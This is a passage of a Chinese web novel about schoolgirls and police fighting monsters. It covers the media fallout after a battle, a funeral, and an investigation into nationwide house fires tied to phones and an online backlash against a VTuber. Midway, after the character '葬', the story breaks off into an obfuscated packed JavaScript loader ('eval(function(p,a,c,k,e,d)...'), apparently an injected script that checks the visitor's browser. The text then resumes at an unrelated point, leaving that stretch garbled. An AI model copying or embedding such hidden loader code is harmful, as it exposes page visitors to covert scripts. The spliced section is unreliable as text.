晴子用力挤了挤眼睛,“比她好多了,我只是觉得有些累,她才是伤得最重的那个。” “交给我吧,我用车把他送给江藤望看看。” 见晴子点点头,八塚玄抱起英梨,风夏跑过去帮忙打开警车车门,随后两人合力将她小心地放进了警车。 每个人都沉默地做着自己要做的工作,晴子也回到了黑木的车里靠在后座上休息。媒体们都闻着味儿来到了这里,争相报道着这起事件,想要找到蛛丝马迹的记者们恨不得成为趴在地上的狗,竭尽全力在能看到的范围拍着视频和照片。 此时,网上有几张照片和一段视频成为了众人关注的焦点,在视频中,虽然看起来有些模糊,但是还是能看出是一个穿着不同于常人的衣服的女生与风间千斩战斗,照片上则是握着刀的变身状态的晴子与黑木和风夏站在一起的照片。 庞大数量的网民开始疯狂点击下载,并且集所有力量尝试找出这两个人。这个过程并没有持续多长时间,风夏的身份就率先被找了出来,几乎是紧接着,黑木的信息就被人周知。 “真是快啊。”黑木看了一眼窗外的情形,媒体把警视厅围了个水泄不通,去维护稳定的警察有一个算一个,都头大得要死。 警视厅中,黑木和风夏正躲避着风头。当时在现场的时候,黑木就已经发现了不好的苗头,他直接让八塚玄带来的其中一辆车把晴子送到了警视厅,然后换成私人车辆直接送回了家。 至于风夏,则是直接没和晴子一起走,她意识到在这么空旷的场地战斗的话,不被人看见是绝对不可能的,问题就在于晴子是否已经暴露。于是她直接选择和黑木一直待在一起,如果有人发难她就和黑木一起将人们的视线都留在此地,同时拜托八塚玄派人保护好晴子。 不得不说这一次被风夏猜中了,因为晴子变身的时候本就用建筑物避了人,解除变身的时候也是大火弥漫的时候,所以大众得到的情报只是怪人形态的晴子,以及站在一旁的她和黑木。 黑木叹了口气,感觉很头疼,但同时也觉得很幸运,“这次还是太危险了,总觉得已经很难压下来了,幸亏运气真的很好,使晴子没有在网上留下任何真人有关的痕迹,可是这样的幸运能持续到什么时候呢?” 风夏比他想象中的要平静得多,只是单纯地品尝着被子里的咖啡,“只有趁现在相处解决的办法了不是吗?现在外面的那些人全都想要从我们嘴里撬出关于晴子的情报,如果我们拿不出说法,我毫不怀疑他们会一直围在那里,甚至说不定会暴动呢。” 黑木对此倒说:“他们应该到不了这个地步,看着那群人那么激烈的样子,实际上并没有什么胆量,而且我们的警察也并不是什么都不会做。” “是这样嘛……如果是之前恐怕是这样,但是现在总觉得大家的精神状态都不太好呢。怪人肆虐了这么久,相当一部分人的精神恐怕非常紧张吧,那些人一受点刺激会不会就爆炸了呢?” 黑木一边想着,一边缓缓摇头,“实际上我们也做过相关调查,并非以警察的名义,而是拜托某个网红在网上做了一个完全不严肃的视频谈论怪人的问题并发起投票。从结果看来,担忧和恐惧的人只占到四分之一左右,有超过一半的人表示已经放弃了世界,换句话说就是是死是活完全无所谓,剩下的那一小部分则是感到高兴,觉得怪人很帅。” “这倒是出乎我的意料,不,或许也确实在情理之中。不得不承认,现在的大环境真是令人感到不幸福。说实在的,我是感到幸福的,所以我是希望对抗怪人并为此担心的人的一部分。况且这样的调查对象之中,年轻人一定占绝大多数,一方面为现在年轻一代的状态感到忧虑,另一方面会令人担心那些中老年人啊。” “是啊,那些需要照顾父母并养育孩子的中年人,和那些本就没有依靠的老年人,一方可能会遭受重大的心理创伤,而另一方可能会在事发之时毫无逃跑的能力,如果他们全部参与调查,恐怕会相当程度地改变调查的结果。面对怪人,人们的生命脆弱得就像是可以随意捏死的虫子。” 气氛变得有些沉重,回想起最近这些怪人强大的攻击能力,黑木的身上甚至有些发冷。对于普通人来说,根本就没有一战之力。明明是公职人员,可是却难以尽到保护民众的责任,这令他感到相当痛苦。 与此同时,医院中的八塚玄也是一样的思绪。他仅仅是靠在椅背上不断地沉思着,渴望找到哪怕一个自己能够做到的事,可是始终没有任何头绪。大脑之中就像是被人抽干了东西,只剩下了一个空壳,什么都无法抓出来。 之前是晴子,现在是这个叫英梨的女孩,如果是男孩的话,他恐怕都不会产生这么强的罪恶感,可是偏偏在战斗和受伤的都是女孩,他想起了曾经自己的姐姐在一起银行抢劫事件之中将他护在怀里。 那时的他还小,但是这件事给他留下了极深的记忆,因为那时劫匪的子弹擦伤了姐姐的手臂,鲜血就那样从他的眼前流下。当时父亲大怒,质问他为什么身为男子汉却没有保护姐姐而是被保护,揪着他的耳朵问他是不是男人。他永远都忘不了那时的懊悔和恐惧,这也促使他当上了警察。 脚步声渐渐接近,他睁开眼睛,是江藤望走到了他身边,手里还拿着一瓶汽水,“喝点吧。” “普通来说……会递这种东西吗?” “给你就喝,废什么话。”江藤望将汽水给他后坐到了他的旁边,然后打开自己汽水的瓶盖仰头就往嘴里灌。 八塚玄看着自顾自地喝着汽水的江藤望,也打开盖子喝了一口,“是挺甜的那种呢。” “嗯,反正你也不需要减肥。” 清爽的口感驱散了些许胸口的郁气,明明是有些凉意的汽水瓶子,却令八塚玄感受到了温暖。糖分有助于心情愉悦,恐怕眼前这个平时看起来那么开朗医生,此时此刻也需要这样的东西才能好受一些吧。 “情况怎么样?” “说实话,我真是再也不想在医院里看见她们的脸了。每次都是刚出去就回来了,又刚出去,又马上回来了,怎么就能到这个地步啊?”江藤望又灌了一口汽水,仿佛是在喝很烈的酒一般。 “所以状况……” “算是稳定下来了,也不知道是怎么搞的,身体里缺血缺到了恐怖的地步,真亏她这样还能活着,也幸亏刚好我们有合适的储备,否则指望调取来血袋,现在都难说是什么样子呢。” 两人就这么坐着,也不再交谈,但是都松了一口气。过了一会儿,八塚玄站起身,“既然脱离了危险,我就放心了,有事记得随时联系我。” “已经要去忙了吗?” “去吃点东西。” “真过分啊,留下刚劳累完的医生独守空房,自己却要去享受美食呢。”话虽如此,江藤望也很清楚,现在也超过一般的吃饭时间两个多小时了,不去吃点东西确实是不行的。 看着做出可怜表情的江藤望,八塚玄道:“怎么,那我给你也买一份好了,我请客。” “哇哦,能沾上八塚大人的光,真是小人无比的荣幸,话说你要去吃什么啊。” “担担面。” “担担面?” “嗯。” “四川料理?” “嗯。” 看见江藤望的笑容僵硬在了脸上,笑容转移到了八塚玄的脸上,他凑近江藤望的耳朵,发出了恶魔的声音,“超级辣的那一种哦。” “诶——那个,你别啊!” “好好享受吧。” “你想杀了我啊!” 但是八塚玄只是微笑着离开,留下江藤望一个人在原地心态破防。 之前拍摄的视频和图片之中,并没有能够拍清楚英梨的脸,不管想要探索真相的网友,使用什么样的技术去处理这些东西,最终都没有办法弄明白这到底是谁,只是从穿着和发型上能够大致判断出是一个女生。 事件不断地发酵,小原家的公司楼下终于也媒体开始蹲守和尝试进入大楼。警方早有准备,已经派人在那个地方维持秩序。 大约到了下午五点,这群媒体仍然没有任何离开的打算,而警视厅终于公布了信息,那个怪人是代号“灰烬”的特殊个体,但不会伤人,还会在作战之中帮助警方战斗,而在战斗结束之后就会不知所踪。 这个信息一出,立刻就引起了轩然大波。对此,又引发了无数人向警方提出问题,但是剩下的问题警方就不再回答了。不久之后,“灰烬”的一张较为清晰的抓拍以及多个怪人的现场照片被发表,人们也随之展开了激烈的讨论。由于官方进行了公布,那些媒体大都离开了,只剩下少数不死心的还在尝试着碰运气。 风夏并没有选择回家,而是就这么在警视厅中待了一天,等到第二天也就是周天的中午才戴好口罩,由某位警察把她送回家。到家之后,发现晴子并不在家中,大概是去医院了。 现在并没有人在家,她环顾整片空间,说实在的,即便是这样冷清的时候也不会觉得空旷。这个房子面积并不大,不知道父亲为什么要如此低调。英梨现在也是独自一人,假如真的住在晴子的家里,行动起来一定也多有不便,为什么不卖一个大些的房子,让英梨也住在一起呢? 想到这,她拿起手机拨打了父亲的电话。大概过了十秒左右才被接通,那边传来了父亲有些疲惫的声音。 “你还好吗?” “我还好,刚到家,公司那边怎么样?” “姑且是告一段落了,真是的,真受不了啊。” “没事就好。”风夏的心中也松了口气,“爸爸,我只是突然想到,咱们家能换个房子吗?” “怎么突然说这个?” “主要是我想让英梨也和我们住在一起,但是现在的房子实在是太小了。” 父亲一下子陷入了沉默,数秒都没有说话。风夏感觉不对,便连忙补充道:“是不是太为难了,抱歉,是我想一出是一出。” “不。”父亲叹了口气,“实际上我也不想住在这个房子里,就算是想要低调些也不至于到这个地步。” 他拿起杯子喝了一口水,“你记得,曾经我们去进行过一次特别的祈福吗?” “是我还小学的时候?我可能有些记不太清了。” “是啊,那真的是在很特别的地方。那是一个名不见经传的神社,但是忽然有一天变得火爆,说是异常灵验,随后吸引了大量的人前去许愿。” “后来呢?我们也去了对吧。” “是啊,我们也去了,我记得非常清楚,当时有一个巫女对我说,在某个地方有一个属于我们的房子,我们只要住在那里就会过得不错,并且我们必须保证有三个人常年住在那里。” “为什么?” “镇灾。” “镇……灾?” 父亲压低了声音,“是的,在我们家房子这里有巨大的灾厄。” “那岂不是很不吉利?这件事为什么不能交给别人去做呢?” “因为非我们不可。” “为什么?这是什么道理?” “不知道。” “哈?” “这就是重点,不知道。我只记得那个巫女不再开口,不管我再怎么问,她都绝口不提相关的任何事,只告诉我如果不这么做就会倒霉。” “真是莫名其妙啊……” 风夏看着这个自己生活了不知道多少年的家,原本十分温馨的环境,此时看起来让人有些畏惧,到底是哪里有灾厄,灾厄到底是什么,这些一概不知,只是有一股冷意从后背泛起。 “风夏,风夏?” “啊,抱歉。”风夏回过神来,打了个哆嗦。 父亲沉声道:“别担心,已经这么多年过来了,这不是一切都好吗?不管怎么样,出了事有我和妈妈在,你们不要担心这些。” 风夏沉默几秒,“好吧,不过这是哪家神社啊?” “不知道。” “嗯?” “那个神社消失了。” “消失了?是的,仿佛从未出现过一般,从这个世界上消失了。当人们反应过来的时候,发现那里不过就是很平常的小山丘,哪里来的神社,就连一个小房子都没有,也没有任何人生活过的痕迹。” “难道说是幽灵……” “不,绝对不是,证据就是你的项链。” 风夏连忙将自己的项链从衣服里拿出来,那是一个不知名的宝石材质,看起来还真的有些高档,“你是说我一直戴着的这个?” “你还记得这是什么吗?” “是啊……这是什么呢?我应该是知道的呀,怎么没有印象了,只是自然地挂了这么多年。” “这是那个神社的东西,是在我们祈福完之后,巫女亲手戴在你脖子上的东西,而她留下的最后一句话就是‘神魔祓尽,名为斩恶奸鬼’。” “总觉得听起来好邪乎啊。”风夏轻轻抚摸着自己的项链,“不过总觉得有一种莫名的安心感,听起来这句话至少是相当正面的东西。” 父亲回忆着过去的时光,“是啊,还记得当时你晚上睡觉一直都不踏实,基本上每一天都很难入睡,而且经常会在半夜醒来,可是当这个项链挂在你的脖子上之后,你每一天都能睡得很好。” “还有这种事?” “呵呵,你已经不记得了呀,那时候你还小,确实记不住那么多事情。从那个时候开始,这个项链你就一直戴着,而我们也就一直住在了这个房子里。” “所以说我们要换房子也是不可能的事情了啊。” “嗯,确实没什么办法。” 风夏轻叹一下,“好吧,这也是没有办法的事,那就先这样吧。” 挂了电话,风夏也没什么事想做,便静静等待着晴子归来。 医院里,英梨的消耗比想象中严重,已经过去了相当长的时间都没有醒来,在此期间,去看她的晴子也顺便去做了个全面的检查。 警视厅中,警察们还在整理这个事件,同时,白石警官的葬礼也在筹备之中。 一天后,殡仪馆内,能到场的警察全部到场,与白石的家人和朋友一起参加葬礼。鲜花、香烛、遗像,警察们已经很久没有见到过这个场面了。距离上一次这么多警察参加某人的葬礼,还是几年前为了送别八塚玄的姐姐。 晴子看着那笑着的照片,只觉得胸口堵得不行。这太残酷了,刚和自己说过话的人,在没过多长时间之后就只剩下了散去灵魂的躯壳,明明他的声音都没有从脑海中消失,生命就已经从这世间终结。 白石的女儿并不大,也就是上初中的年纪,此时此刻只能与母亲相拥而泣。这一幕让她的心越发痛了,如果自己能够敏锐一些,如果自己再强一些,是不是就可以有改变其命运的机会呢?会不会此时这个小妹妹只是坐在父亲的床边叮嘱他要好好养伤呢? 自己,真的太弱小了。 葬礼的一系列流程中,晴子并没有能够好好地看进去多少,她的胸口被无名的业火灼烧着,她实在是有些生气了。经文和祷告在大厅中回荡,众人的脑海中都期盼着白石的精神得以获得安宁,而她的脑海里则是一幕幕地播放着至今以来战斗过的种种怪人,双拳也不自觉地握紧。 突然,风夏将手包裹在了她的拳头上,这才猛地把她拉出了那种状态。 “没事吧?”风夏小声凑过去问道。 晴子点点头,她缓缓把不知何时提起的一口气吐了出去,然后闭上眼睛,为白石祈祷了一番。 葬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,晴子的眉宇间也爆发出了强烈的杀气,风夏甚至感觉怪人的形态在她的身上闪出了一瞬间。 “不会是又来了吧?” “就是那个不会,我们又来活了。” “真的假的!”风夏抑制不住地骂了一句从富家大小姐嘴里不可能听到的词,“英梨至今都没醒,怪人有完没完了?一个接着一个,一个接着一个,我们可都是血肉之躯,我们又不是什么不知疲倦的机器!” “没关系。”晴子仰天做了个深呼吸,“来一个我杀一个,我正觉得有些手痒。” 然而,事情并没有这么简单,就在这个电话之后的一分钟内,负责观测怪人能量反应的警察就立刻看到了,在另外一个地方出现了怪人反应。还没有等这个通知被发出,就又有一个地点出现了怪人反应。 观测小组大汗淋漓,在极短的时间之内爆发了近十起不同地点的怪人反应,随后各地消防局接到报案,远超这个数量的住户遭遇火灾。一时间,几乎所有的警察都动了起来,一同展开对这起案件调查。 可是问题在于,能够拥有足够装备的警察少之又少,并且以个人能力而算,也并非有那么多人拥有那么强的能力。再其次,怪人的事件本是警视厅全权负责,一直从未参与过这类事件的地方警署,在面对这类事件时几乎毫无头绪,哪怕动员了再多的人,也陷入了相当大的被动。 不久,晴子和风夏一同到达了第一次怪人能量反应的现场,那里已经是一片狼藉,大火从窗户中喷出,根本没有人踏足的余地。没有英梨在旁边,导致根本没有办法判断此时怪人的状态,当消防员开始奋力灭火,里面的痕迹也已经几乎被燃烧殆尽了。 八塚玄将自己的队伍分散开,没一个小组都配备通讯设备,随后一同出击前往各个地点,可是结果并不乐观,不管是哪里都没有怪人的影子。 要说有什么值得庆幸的地方,那就是这些怪人反应并没有持续太长的时间,大概在20分钟左右就结束了。而同样的,20分钟真的是一个很短的数字吗?尽管一开始的时候怪人反应频率极高,在十分钟之后放缓,但是已经造成了相当多人的死亡。 另一个令人极其头疼的问题就是,当过了几个小时,外地警署的电话疯狂地打入警视厅的时候,大家才突然反应过来此次怪人影响的面积之广,几乎包含了全国各个地方,这是之前完全没有过的。 由于不再像之前一样信息封闭,警方也将这起事件尽可能地公之于众,而网友们立即展开激烈讨论,不断有关于怪人的猜想被接连提出。 当怪人的影响第一次大面积蔓延到各地,人们也第一次开始惊慌起来。与已经有些习惯了的东京人不同,其他地区一下就开始爆发剧烈的恐慌。当第一个开始在店里大量购物的人出现后,不管囤货是否有用,剩下的人就像是被病毒感染了一般开始跟风,各地的便利店和超市都乱作一团。反倒是一直在经历怪人事件的东京,此时却变为了最安宁的地方。 不久后,世界末日论一下成为了网上最主流的论点之一。警方在层层审批和深思熟虑之后终于发出了安抚民众的一篇长文,但是被舆论瞬间淹没…… 晚上,忙碌了一天的各地警察已经下班,大家早已感到疲惫不堪。大家最相似的地方就是,几乎每个地方的调查都是徒劳无功。没有目击者,没有活着的受害人,没有完整的受害房屋,没有任何能用的线索。所有参与此事的警察几乎都被厚重的阴霾笼罩,在网上已经被贴上了“无能”的标签。 某家餐厅内,黑木把脸埋在了胳膊里,就像一个想在桌子上趴着睡觉的学生。八塚玄端起酒杯送进去了一口,让酒精缓缓地从口腔滑落腹中。 “真的没问题吗?那东西度数很高啊。” 八塚玄听着就又喝了一口,“要你管,还不是因为你想吃西餐,搞得我没法吃点正儿八经的麻辣口味的东西。” “所以就靠酒的辛辣?别到时候晕倒在这里我还得扶你回去。” “快算了吧,就凭我的酒量,等你一蹶不振在这痛哭流涕的时候我也晕不了。 “谁会痛哭流涕啊,你这家伙。” 两份猪肋排和粗薯条被端上了桌,黑木也直起了身子,然后闭上眼睛凑近了狠狠吸了一口气,“就靠这□□着了,还是熟悉的味道,真是太好了。” 八塚玄拿起两根薯条沾了沾番茄沙司送进口中,极其酥脆的声音就连一旁的黑木也听得清清楚楚。他又轻轻用力,一小段猪肋排就随之被分离,用嘴轻轻一咬就脱骨而入,幸福感填满了口腔。 “怎么样,还不错吧?” 这是黑木今天第一次笑,也是八塚玄第一次露出笑容,“我还以为你一定会要牛肉呢,没想到居然是猪排,确实也挺和我的口味。” “那当然,我带你来这家店,怎么可能不考虑你的喜好呢?” “真是不知道有多少女孩要受你骗呢。” “那确实遗憾,我目前还是一心一意呢。” 将一块猪排送进口中,饱满地享受一番后,黑木道:“下次也让我尝尝你推荐的店吧,务必是肉多的那种。” “没问题,这个很容易,不如和我多吃几趟,否则很难让你体验到八大菜系内涵的冰山一角。” 美食相当能够抚慰心灵,愉悦感能够很好地提升面对现实的勇气。当用餐过半,八塚玄幽幽地冒出一句,“怎么样,有进展吗?” “没有,你那有吗?” “没有。”八塚玄仔细思索着,“说真的,看不出一点规律来。假如是人在犯罪,总能找到些什么蛛丝马迹,可是现在却完全看不到怪人袭击的规律是什么。就像是在地图上撒下一把豆子,完全无序地落在各个地方。” 黑木无奈道:“真惨啊,不过我们也没有好到哪去。今天带着两个女孩到处跑,然而完全没有任何价值。我们去的每一个地方都没有怪人的踪影,趁着没人的时候甚至让晴子变身冲进火场看了,都完全没有任何怪人的影子。而且每次我们到位的时候,火势都已经完全无法控制了,真是邪了门了。” “不过这是否也是说,被害人很快就死亡了呢?毕竟没有任何求救的电话打出去……”说到这,八塚玄突然停下了。 “怎么了?” “不,实际上有一个重要的规律,我们似乎忽略了一件事。” 黑木也瞬间眼睛一亮,正要送到嘴里的薯条也停了下来,“是什么?” “你有没有发现,每一个案发地点都是居民的家。” 黑木仔细回忆了一下今天的所见所闻,随后越发激动,“你说得没错,确实每一起事件都发生在居民的家中!可是……这能帮到我们什么呢?” 八塚玄缓缓摇了摇头,“这我也并不清楚,但是这一定是一条重要的线索。” “那我们是否可以让民众走出家门避难呢?”说到这,黑木自己都摇了摇头,“这么多人不回家又能去哪呢?” 门外,警笛由远及近,两人同时想外看去,发现有消防车又出动了。 八塚玄眉头一皱,“之前的火灾消停了几个小时,怎么现在又开始了?” 好在两人已经吃完了饭,结完账后便直奔警视厅,想要了解一下最新的情况。 这是一个令人难忘的夜晚,当加班的警察和消防员们不再收到任何信息的时候,已经是凌晨一点了 所有人,所有参与这场行动的人无一例外都觉得自己离死不远了。尤其是消防员们,已经有不少人累倒了,还能站着的那些人也基本快成了不会思考的机械。可以说这一天看见的火灾真是数都数不过来,就算是已经回来了,眼前也仿佛能幻视到火蛇在肆虐。 17. 炎上 早上,空气中似乎还弥漫着烟尘,人们的耳边仿佛还回响着那一阵阵的警笛声。这是一个谁也没有睡好的夜晚,几乎所有在家的人都胆战心惊,有些人甚至特意搬到公司去睡。各种负面的消息充斥在网络上,就像是此时的现实世界中笼罩在天空的乌云。 不过,有一个好消息,那就是英梨终于睁开了眼睛。 “真是不错的睡眠,说到底,也是帮了我大忙了。”英梨醒来后的第一句话就是这个,很难想象一个人在这种大早上的时候已经吃下去了三人份的东坡肉和米饭,甚至还在吃。 八塚玄目不转睛地喝着水,“即便是我,吃两人份的也就会感觉腻了,你还真是恐怖啊。” “哪里哪里,只是会渴望充满油脂的肉类,还真亏有这么合适的食物推荐,实在是……太令人满足了。” “这家味道确实不错,也是很早开店的那种,不过这些肉真的很肥啊,你提出要五人份的时候我觉得你估计是疯了,但是现在看来这似乎还满足不了你。” “当然!”英梨狠狠咽下一口,又灌下了一大口可乐,“这种肉类,还有甜的东西,是我现在最需要的,这真的是太享受了。” “你喜欢就好。”八塚玄一边感叹着一边一口口地喝着水,说真的,有点看饿了。不过他还是趁此机会问道:“你战斗完一直都是这样的吗?” “不,不是的,只有真的唤出封魔法身才会这样。而且就这次而言,消耗实在是有些太多了,简单地说就是我还不成熟。曾经族里那些人还活着的时候,他们的封魔法身有我这一战两倍的威力不止。” “竟然能到这种地步?那他们……” “全都死了。”英梨停顿了一下,又灌了一口可乐继续吃着,“阴魔很少有自己能够达到极强强度的个体,都是有邪道培养或者操控才能拥有那么大的战力,还不能忽略环境因素。然而之前遇到的那个,简直令人不敢相信那是一个独立的个体,我真的非常不理解为什么它能到这个地步。” “那个已经是相当不妙的状态了吗?” “是的,可以说野生的能到这种地步的话,假如有邪道参与,我根本不是它的对手。” 八塚玄的内心感觉有些紧张,“你口中的邪道还有多少?” “没了。” “没了?” “至少现在是没有了。”英梨回忆着之前大大小小的战斗,“太艰难了,我自从独自流浪以来,已经昏迷了八次了,我很庆幸我还活着,也庆幸当时的邪道们状态也相当糟糕,手里也还没有那么强大的阴魔。直到今天,我觉得邪道确实已经被尽数灭杀了。我的族人们真的很强,他们几乎封死了邪道们所有的可能性,只留下了半死不活的对手给我,我很高兴自己完成使命。” “居然有八次之多吗?如果每次都是这样的话,那你岂不是相当危险?” “倒不至于到这次这个地步,我往往还能保留一些意识。我不是加入了一个乐队吗,我之前都是找她们临时帮忙照顾一下。” “那就好。” “不,不是那么好,我总觉得哪里别扭。我总有一种结束了但是没有完全结束了的感觉,说真的,我第一次看见晴子的时候感觉很奇怪,我不是没有见过这样的事例,但是晴子并非邪道,这并不是她想办法完成的事,据她所说,一切好像都是很自然地变成这样的,我真的有点……搞不明白。” 这个问题她已经想了相当长的时间,也暗自做了一些调查,但是并没有一点线索。更明确地说,她连晴子现在到底算什么都不知道。 敲门声传来,是黑木前来探望。八塚玄在早上将消息告知了他,他安排好一些事情,就赶了过来。 八塚玄拿起一瓶水丢过去,“情况怎么样?” “没什么进展,这次确实是束手无策,不过好在可能有办法的人已经睁开了眼睛。” 英梨见状问道:“出什么事了?” 黑木便讲了一下昨天到今天发生的事。 “这当然找不到了,这种虽然相当少见,但是凭借没有感知能力的人是不可能轻易拿下的,不,应该说完全就不可能拿下。尽管并没有自夸的意思,但是这件事确实得我去做才行。” 这次醒来,英梨感觉浑身都是力气,而且总觉得自己的力量有所增强。原本江藤望还想叮嘱两句,但是发现这个女孩压根没有一点大病初愈的意思,倒像是保养极好的人一般,一下子就不知道应该作何表情。 由于事件的影响范围很广,仅仅在医院附近就足足有两起,三人便直接赶了过去。看着已经被烧成废墟的房屋,英梨也是眉头紧缩,她小心地走进去,想要探寻到些许蛛丝马迹,可是已经什么都感知不到了。 “这是什么时候发生的?” 黑木便道:“昨天下午。” “时间确实是有些久了,已经无法直接感知到什么了,不过可以再尝试一下。” 说罢,她结了一个印,旁边的两人同时听见了一声铃铛声,之后只有英梨本人才能够看到的一圈灵力如水波一般扩散了出去。只过了三秒左右,她就立即向一个方向走去,那里正是被害人死去的地方。 黑幕解释道:“被害人昨天似乎是靠在床上玩手机的时候被烧死的,而且好像并没有逃跑和挣扎一样,直接就死在了床上。” 英梨听此摇了摇头,“不是没逃跑,而是跑不了,被害人根本没有逃跑的能力。” 八塚玄和黑木对视了一眼,“这是什么意思?” “怪人的力量很强,当火燃起来的时候,被害人已经没有逃跑的力量了。” “竟然能做到这种地步吗!” “是啊,真是棘手,在这么短的时间内用火烧的方式一击毙命,实在是有些太不符合常理了。” 八塚玄却提出了不同的看法,“不对,我倒觉得还有一种解释,会不会是被害人根本就逃不了呢?” 这一说,英梨也觉得确实有这种可能性,但如果真是这样,与怪人的战斗就会变得十分艰难。 三人又在房间里转了一会儿,最后并没有能够发现更多的信息,于是便打算再去另一家看看。到了地方,这一家也同样被烧得很严重,还未散去的浓烈味道诉说着凌晨时候惨烈的现实。 “这一家是凌晨时候烧的,离现在算是时间最短的那一批,这个会不会更有价值些呢?” 英梨也不啰嗦,同样结印去感知,然后走到了被害人死去的地方。 “真是奇怪啊,但是又很合理。” “怎么回事?” “怪人仍然是直接攻击被害人,然后就离开了。只是给我了一种明显的感觉,就是这个怪人来去都像是瞬间移动,让人完全抓不住它的尾巴,像是一下子出现又消失了一样,我还从未见过这样的现象。” 连专业人士都这么说,黑木与八塚玄的心都是一沉,黑木看着那片区域道:“我们判断被害人似乎是在玩电脑游戏或者做什么的时候被烧死的,是一个年轻的小伙子,当时应该是坐着的还带着耳机。” 英梨看向窗户,“难不成是从窗外进来的?毕竟这两个被害人几乎都在窗户旁边呢。”说完,她又否定了自己的观点,“如果怪人真的要从窗户这种地方进入屋中,那么这么多起案件得有多少个怪人在活动呢?” “以前有出现过大量怪人一同活动的事件吗?” “出现过,那是相当恐怖的事情,不过自然形成的这种现象只在家族的历史记录中存在,我是没有亲自经历过的。如果真的是那样,那就麻烦了。” 英梨又看了一段时间,实在没有什么能够收获的,于是和另外两人一起离开了这里。 今天早上出奇地平静,明明昨天的伤亡那么严重,今天怪人就像是蒸发了一样,完全没有任何动作,不过这个同样给了警察们更多的分析时间。 英梨也没闲着,她又跑了各个案发地点,想尽办法去找寻怪人留下的痕迹,而黑木也是全程陪在她身边。尽管并没有什么进展,但是她总觉得这一次次的调查都是有收获的,只是还不能确定。 终于,虽然绝对不能说是好事,但是也不完全是坏事,在中午的时候,又有怪人的反应出现了,英梨和黑木从奶茶店里冲出来就直奔现场,等两人到位的时候,房子果然也已经烧起来了。 两人完全没管那么多,直接就冲进了房屋,并且两人手上都拿着手枪,围观的人看着两人进去都是议论纷纷。 进去后,浓烟又呛又刺眼,黑木难受得不得了,但是英梨完全没有被其影响。她在确认没人能看见之后,直接唤出封魔装,只一挥手,大量的烟尘猛地就被冲开,甚至连火焰都直接熄灭,在房屋中创造出了一个完全没有燃烧的空间。 她跑到被害人身边,发现他已经被烧成了焦炭,似乎是一边吃着饭一边在看手机的状态。这次,她没有像之前一样探查,而是直接爆发出了连黑木都能看到的灵力波动,向目标地点扔了一张纸符。 手印一结,一声“八方封禁,溯源之术!”,这片空间的时间一下子停了下来,那些飘起的烟直接停在了空中,边缘探进来的火苗也直接凝固在原地,黑木一下子感觉非常地冷,口中都吐出了冬天才能见到的白烟,仿佛在这片空间悬停住了片片白云。 英梨屏住呼吸,用两根手指轻轻捏住了从符纸中飘出的某种东西,随后猛地一拉,一根极细的黑线直接被拽了出来。随后,空间的时间突然开始流动,黑线变为了一阵黑气,而她也已经掌握了自己需要的信息。 外面,消防车已经到位,黑木连忙问道:“怎么样?” 英梨点点头,“虽然模糊,但是抓住了一些线索。” 黑木面色一喜,立即和她一同往外撤。带队的消防员看见两人冲出来后立即跑了过来,“你们在里面干什么呢!多危险啊!” “抱歉,我们是警察,我们昨天还见过面。”黑木展示了自己的警察证,而英梨也掏出了一个假的警察证。 “警察也不能这么做,这是我们消防员的工作!下次一定不要再这样了!” 两人连连答应着,然后赶紧离开了现场,没有再给消防员说话的机会。 回到车上,黑木问道:“怎么样?在哪里?” 英梨摇摇头,“并不确定在哪里,只知道确实是在东京之内,并且应该是在品川区内。” “这样啊,不过也算是有不小的进展了吧。” 英梨看着多少还是带着愁容的黑木接着说:“不过这一次有一个极其重要的线索,那就是怪人能量波动最强烈的地方被我找到了,而且我很确定是被害人的手机。” “手机?”黑木的脑海中一下子开始闪过一幕幕之前的案发现场。 “就是手机。之前的那些被害者都已经过了数个小时,我确实难以判断到底是怎么回事,只是留意了一下,现在看来,手机和电脑应该都是怪人存在的地方,我几乎可以断言,这个怪人和这种设备脱不开关系。” 黑木想了想,先将这个消息通过电话告知了监测怪人行动的部门,之后便有陷入了苦恼,“这么多人用手机,为什么偏偏是他们死了?之前的那个案子,根据我们后来和小林义树了解的情况可以得知,那个怪人杀人应该是带着目的性的,这从某种意义上反应出了小林本身的心理,不得不说之前也有过类似的感觉,哪怕是无差别攻击的怪人在一开始也会将主要目标先干掉,那么这一次会是怎么样的呢?” 英梨倒是很快就有了思路,“我估计这次的事件应该也是单独怪人在作案,假设这种说法是成立的,那么这么多人都和那某一个人有关,那肯定是在网上发生了什么吧?” “我也觉得是这样,只是并不好判断到底是什么事。” “有一个人应该在这方面非常在行吧。” “谁?” “风夏。” 两人一合计,此时不找更待何时,便又马不停蹄地赶去了学校。老师正上着课,突然有另一个老师敲门进来给台上的老师讲了情况,晴子和风夏就在同学们注视下离开了教室。 班里悄悄地开始了各种交谈和纸条,之前风夏的事早就在班里传疯了,而晴子这次出去,一下子就让大家多出了大量的猜想。 见面后,黑木也不磨叽,很清晰地将这件事的全过程传达清楚之后问道:“现在网上有没有什么热点消息之类的?” 风夏立即掏出手机,“我最近关注的几个……说实话都挺混乱的,比如有两个声优结婚了,不过这个应该是好事,肯定不是这个。要说坏事的话……有一个歌手疑似被极端粉丝跟踪拍摄了一些不好的东西,有一个游戏公司内部似乎出现了向外传播机密文件的恶性事件,有一个游戏职业选手因为其操作失误导致队伍输掉比赛被人骂得很惨。” “原来如此,都是这种圈子里的啊。” 听到黑木这句话,风夏笑了笑,“现在也就这些圈子让我感觉有些意思,我并不是很喜欢关注社会上的各种新闻,我只在乎娱乐方面的东西,说到底最容易无脑攻击别人的也同样就是这个圈子里的观众和粉丝什么的,比如说有时候往往当事人没干什么,两方的粉丝就已经吵得不可开交了。” 黑木思索着说:“如果这么看的话,那个打游戏的选手会不会可能性高一些呢?” “我也这么认为呢,可是我又觉得不太对。毕竟这个选手自己也知道确实是自己的问题,他就算再难受,也没有办法反驳那些观众们的言论。既然这一次这么多人死了,那么当事人至少会觉得委屈才能负面到这个地步吧?” 晴子听到这开口道:“要是照这个思路的话,假如真的是一个公众人物出了问题导致了这起事件,那就是被炎上了呗。” 黑木连忙道:“你有头绪?” “最近虚拟主播的圈子倒是有一个炎上事件,还是一个企业势的主播,她名为千羽麦,说来还真巧,她这次被炎上完全是因为在杂谈直播中说了一句话。” “是什么?” 